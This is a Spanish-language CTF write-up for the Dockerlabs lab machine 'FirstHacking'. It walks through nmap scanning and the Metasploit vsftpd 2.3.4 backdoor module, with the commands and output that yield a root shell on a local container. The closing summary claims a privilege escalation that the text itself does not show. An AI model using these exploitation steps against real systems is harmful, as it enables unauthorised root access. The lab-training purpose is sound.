



Write-Up: Máquina "FirstHacking"

- 📌 Plataforma: Dockerlabs
 - 📌 Dificultad: Muy fácil
 - 📌 Autor: Joaquín Picazo
-



Metodología de Pentesting

El proceso se realizó siguiendo la siguiente metodología:

- 1 **Reconocimiento** – Recolección de información general sobre la máquina objetivo.
 - 2 **Escanero y Enumeración** – Identificación de servicios, tecnologías y versiones en uso.
 - 3 **Explotación** – Uso de vulnerabilidades encontradas para obtener acceso al sistema.
 - 4 **Escalada de Privilegios y Post-Explotación** – Obtención de permisos elevados hasta lograr acceso total para realizar una extracción de información.
-



1. Reconocimiento y Recolección de Información

Se realiza un escaneo general de los puertos, solo para saber cuáles están abiertos.

```
(root@kali)-[/home/cypher/firsthacking]
# nmap -vvv -p- --open 172.17.0.2
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-22 19:28 -03
Initiating ARP Ping Scan at 19:28
Scanning 172.17.0.2 [1 port]
Completed ARP Ping Scan at 19:28, 0.13s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 19:28
Completed Parallel DNS resolution of 1 host. at 19:28, 0.02s elapsed
DNS resolution of 1 IPs took 0.02s. Mode: Async [#: 2, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 19:28
Scanning 172.17.0.2 [65535 ports]
Discovered open port 21/tcp on 172.17.0.2
Completed SYN Stealth Scan at 19:28, 3.68s elapsed (65535 total ports)
Nmap scan report for 172.17.0.2
Host is up, received arp-response (0.000028s latency).
Scanned at 2025-03-22 19:28:13 -03 for 3s
Not shown: 65534 closed tcp ports (reset)
PORT      STATE SERVICE REASON
21/tcp    open  ftp      syn-ack ttl 64
MAC Address: 02:42:AC:11:00:02 (Unknown)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 4.20 seconds
Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)
```

2. Escaneo y Enumeración

Ahora se realiza un escaneo profundo para obtener información específica de los puertos ya abiertos.

```
(root@kali)-[/home/cypher/firsthacking]
# nmap -vvv -p 21 -sV -sC 172.17.0.2
```

```
PORT      STATE SERVICE REASON          VERSION
21/tcp    open  ftp      syn-ack ttl 64  vsftpd 2.3.4
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Unix
```

Se obtiene que el puerto 21 del servicio ftp no se puede acceder de forma anónima. Pero al mismo tiempo se obtiene la versión de este, pudiendo utilizarse como punto de explotación.

3. Explotación de Vulnerabilidades

Se usa la información de la versión para buscar alguna vulnerabilidad para explotar en metasploit.

```
msf6 > search vsftpd 2.3.4
```

Matching Modules

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/unix/ftp/vsftpd_234_backdoor	2011-07-03	excellent	No	VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example `info 0`, use `0` or use `exploit/unix/ftp/vsftpd_234_backdoor`

Se elige la opción más adecuada, en este caso solo se tiene una. Posteriormente se ve la información necesaria para usarlo.

```
msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show info
```

Name: VSFTPD v2.3.4 Backdoor Command Execution
Module: exploit/unix/ftp/vsftpd_234_backdoor
Platform: Unix
Arch: cmd
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2011-07-03

Provided by:
hdm <x@hdm.io>
MC <mc@metasploit.com>

Available targets:

Id	Name
0	Automatic

Check supported:
No

Basic options:

Name	Current Setting	Required	Description
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	21	yes	The target port (TCP)

Payload information:
Space: 2000
Avoid: 0 characters

Se ingresan los datos necesarios y se inicia con “run”. Se puede ver que se inicia una sesión de forma exitosa.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 172.17.0.2
RHOST => 172.17.0.2
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 172.17.0.2:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 172.17.0.2:21 - USER: 331 Please specify the password.
[+] 172.17.0.2:21 - Backdoor service has been spawned, handling...
[+] 172.17.0.2:21 - UID: uid=0(root) gid=0(root) groups=0(root)
[*] Found shell.
[*] Command shell session 1 opened (172.17.0.1:38793 -> 172.17.0.2:6200) at 2025-03-22 19:32:07 -0300
```

4. Escalada de Privilegios y Post-explotación

Al revisar que usuario hay, se puede apreciar que ya se ha ingresado a la máquina como usuario root. Es decir, ya tenemos todos los privilegios del sistema.

```
whoami
root
pwd
/root/vsftpd-2.3.4
```

Banderas y Resultados

- ✓ **Usuario:** Se obtuvo acceso como usuario no privilegiado.
- ✓ **Root:** Se logró escalar privilegios hasta obtener control total del sistema.